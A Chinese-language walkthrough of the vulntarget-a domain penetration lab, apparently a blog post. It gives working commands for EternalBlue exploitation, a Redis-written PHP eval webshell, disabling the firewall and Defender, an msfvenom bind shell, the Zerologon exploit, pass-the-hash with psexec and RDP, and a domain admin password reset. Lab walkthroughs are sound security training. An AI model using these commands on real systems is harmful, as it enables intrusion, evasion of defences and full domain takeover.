【vulntarget域渗透】vulntarget-a域靶场

低价海外云服务器,香港/美国免备案服务器仅需8.8起

环境配置:

win7
密码:admin
设置通达OA漏洞
入站规则:80端口
永恒之蓝
动态外网IP(net模式),静态内网IP

win2016
账号:vulntarget\win2016
密码:Admin#123
管理员administrator密码(非域控密码):Admin@123
已安装redis,自启,web环境自启
添加入站规则:80端口
双静态内网IP

win2019
域控密码:Admin@666
已安装:AD域、vmtools、添加域成员
改计算机名为:win2019
静态IP设置

首先增加两个网卡18和19都是仅主机,配置必须一样

image-20260413150814463

开机时候要点击这个

image-20260413150946295

开始打靶

image-20260413151424614

对其进行漏洞扫描

nmap -sS 192.168.52.128 --script=vuln -T4

存在永痕之蓝漏洞

image-20260413151627651

进入msf

msfconsole

打永恒之蓝,使用getuid发现是系统最高权限

search ms17-010
use 0
set RHOSTS 192.168.52.128
run

image-20260413151900184

首先我们退出会话保存在后台,提示我们会话id为1

bg

image-20260413152132732

查找fscan

find / -name "fscan.exe" 2>/dev/null

image-20260413152156064

进入刚刚退出的会话

sessions 1

上传fscan到c盘根目录

upload /data/windows_atk/scan_info/fscan.exe C:/

image-20260413153518968

进入shell并进入根目录

shell
cd /

image-20260413155204917

设置编码chcp 65001,让系统正常显示字符

chcp 65001

image-20260413155303467

ipconfig发现另外一张网卡ip:10.0.20.98

ipconfig

image-20260413152831664

fscan扫内网

fscan.exe -h 10.0.20.0/24

image-20260413155316593

通过fscan扫描的结果中可以看到,并没有其他主机存活

image-20260413160411636

禁ping扫描使用TCP扫描(fscan默认使用ping进行内网扫描),发现内网第二台机器10.0.20.99,并且6379端口开启

fscan.exe -h 10.0.20.0/24 -np -no -nopoc

image-20260413161122956

精确扫描出redis备份文件C:\Program Files\Redis/dump.rdb,并且包含redis unauthorized未授权

fscan.exe -h 10.0.20.99 -np -no -nopoc

image-20260413163155817

使用msf添加路由

run post/multi/manage/autoroute

image-20260413161302415

查看路由是否添加成功

run autoroute -p

image-20260413161315407

添加代理,msf设置代理

use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j

image-20260413161411038

配置proxychains代理端口为msf设置的1080端口

vi /etc/proxychains4.conf 

image-20260413161533282

测试代理是否配置成功

proxychains nmap -sT 10.0.20.99 -p 80

image-20260413161643279

直接打开浏览器访问是一个hello world

image-20260413161754459

使用目录扫描,扫描出phpinfo,在这里面发现C:/phpStudy/PHPTutorial/WWW/网站目录

proxychains dirb http://10.0.20.99/

image-20260413165220979

image-20260413170042564

继续渗透,redis未授权

redis-cli -h 10.0.20.99
config set dir 'C:/phpStudy/PHPTutorial/WWW/'
config set dbfilename shell.php
set 1 "<?php @eval(\$_POST['cmd'])?>"
save

image-20260413170757532

打开蚁剑

antsword

image-20260413170644810

输入shell地址和密码,测试连接

image-20260413170629332

防火墙状态,启用

netsh firewall show state

image-20260413171047233

关闭防火墙

netsh advfirewall set allprofiles state off

image-20260413171151877

彻底禁用Defender杀软,防止后边自动删除木马程序

:: 彻底禁用Defender核心防护+实时保护
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f

检查是否ping通,ping通

ping 10.0.20.99

image-20260413171144239

生成正向shell木马

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe

image-20260413171633795

拖动上传马到C盘根目录

image-20260413172153574

配置msf,并在蚁剑中启动程序

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST 10.0.20.99
run

image-20260413173152974

继续上传fscan

upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe

image-20260413200433789

查看ip,发现另一个网卡

image-20260413200356004

再次扫内网,通过fscan扫描出域控服务器10.0.10.110,域名为vulntarget.com,域主机名为win2019

fscan.exe -h 10.0.10.111/24

image-20260413200642921

看看能不能置空域空密码

https://github.com/VoidSec/CVE-2020-1472

python3 cve-2020-1472-exploit.py -t 10.0.10.110 -n WIN2019

image-20260413201426227

抓取域控hash

Administrator:c7c654da31ce51cbeecfef99e637be15

image-20260413201940093

打PTH,拿下域控主机

proxychains impacket-psexec -hashes :c7c654da31ce51cbeecfef99e637be15 vulntarget.com/administrator@10.0.10.110

image-20260413202301672

查看防火墙状态

netsh firewall show state

image-20260413202531029

禁用防火墙

netsh advfirewall set allprofiles state off

开远程连接

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

默认情况下会出现CredSSP问题

image-20260413204343698

我们需要使用另外的工具来绕过它

无视证书 + 绕过 NLA/CredSSP 问题,直接连 10.0.10.110

安装远程连接工具

apt install freerdp-x11 -y

不允许我们使用空密码登录(使用hash登录)

xfreerdp /u:administrator /pth:c7c654da31ce51cbeecfef99e637be15 /cert:ignore /v:10.0.10.110

image-20260413204752574

两种解决方法

1、简单粗暴,修改域控管理员密码

net user administrator p-0p-0p-0 /domain

2、抓取明文密码传mimiktz.exe

然后

xfreerdp /u:administrator /p:password /cert:ignore /v:10.0.10.110
THE END
喜欢就关注一下咱们公众号吧
点赞30 分享